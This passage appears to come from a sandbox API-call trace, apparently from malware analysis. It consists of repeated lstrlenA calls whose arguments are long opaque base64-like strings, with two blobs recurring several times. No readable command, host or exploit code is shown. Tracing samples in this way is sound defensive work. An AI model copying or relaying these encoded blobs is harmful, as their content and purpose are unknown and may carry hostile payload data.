QHp9qTOA7WnOrUD8H5YSjl4GEeMy2fj3v/ICtdTPpQGNmadt2oQfRxgsjbA4inPS7i87xSInEV8EQ52s/iq+Ow85RZqpcyvwy1NBIpFAmyKQ7+TTu+LM9jETQLYWUoE6FDJWF+px4WClJnGqB85kLCbj1XtwHPDO5GcqvHp+wK40DI5VZ6+hzDvByrK01d7EUP5VY8oosJ/TkpHpK+Sxo/5hvVrnAub2mhjjs7ufpdZEvt2tXxc3aZdv1eh2xG/vGGTtZFSo2ZjqzGHtsdGwRnI56q7JjA2umuFbxEH5KFQRTnzbyH2v9LlogA8JDBBhWmJz/VhOq/V93nAQNHrAEVbpqJwluA3jQmCZSkh62vkTkJFwgosqTLIpcfJBCJydLWitwsNBGc/SFX6XnUjcoHKywnFiPlALJzLJoTdyAcqrVq6SmmPve6u/EZnE7aCm1oQHAHUwKzfcuE0bAQrAab6CrnqUQyVufP9kN1FPiNNUpT9esfhCuiPbRQBx9H0o43CL8AgzgAJMNCxtF2zw2lDmZD0kUSoOC/Sj04RCmYGLw97wj7aiN96Efy1sEJK0+OrXL3XA6qO7j93nFn1RvvfYBuv0oays5IrpEsBZZ3c7n9N6KdFON7ZG4kj2BBR6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0163.805] lstrlenA (lpString="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") returned 5792 [0163.805] lstrlenA (lpString="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") returned 5792 [0163.805] lstrlenA (lpString="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